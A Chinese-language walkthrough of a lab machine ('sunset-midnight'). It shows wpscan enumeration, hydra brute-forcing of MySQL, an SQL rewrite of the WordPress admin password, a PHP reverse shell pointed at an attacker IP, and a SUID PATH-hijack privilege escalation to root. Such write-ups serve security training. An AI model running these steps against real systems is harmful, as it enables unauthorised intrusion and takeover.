常规端口扫描
开放 22、80、3306端口 根据信息可以看出 在80端口上搭建了WordPress
wpscan --url http://sunset-midnight/ --enumerate u
得到名为 admin 的用户
接下来试着爆破密码
wpscan --url http://sunset-midnight/ -U admin -P /usr/share/wordlists/rockyou.txt
爆破不出来
msql渗透(改密码)
mysql空密码尝试不行
爆破一下试试
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.217.172
得到密码 robert
mysql -h192.168.217.172 -u root -p
show database;
use wordpress_db;
show tables;
select * from users;
密码为加密过的
由于有mysql权限1
使用 update 更新密码,密码为123456
update wp_users set user_pass=md5(“123456”) where user_login=‘admin’;
wordpress后台反弹shell
登入wordpress后台
利用plugin edditor
编辑 /usr/share/webshells/php/php-reverse-shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.217.168'; // CHANGE THIS
$port = 2233; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
更改IP为 kali 的IP port为监听的端口接下来将更改完成的代码复制到插件内容里
提权
完成后点击 Activate 即可得到反弹的shell
ssh jose@192.168.217.172
find / -perm -u=s -type f 2>/dev/null
发现status命令不太常见,执行一下
看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件
cd /tmp
echo "/bin/bash" > service
chmod 777 service
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中
status
就是status执行了server,但是没有用绝对路径,我们可以创建一个server文件,并且写入/bin/bash,将其加入环境变量,而status执行时会去找环境变量的最前面的就是我们设置的创建的server文件即可提权root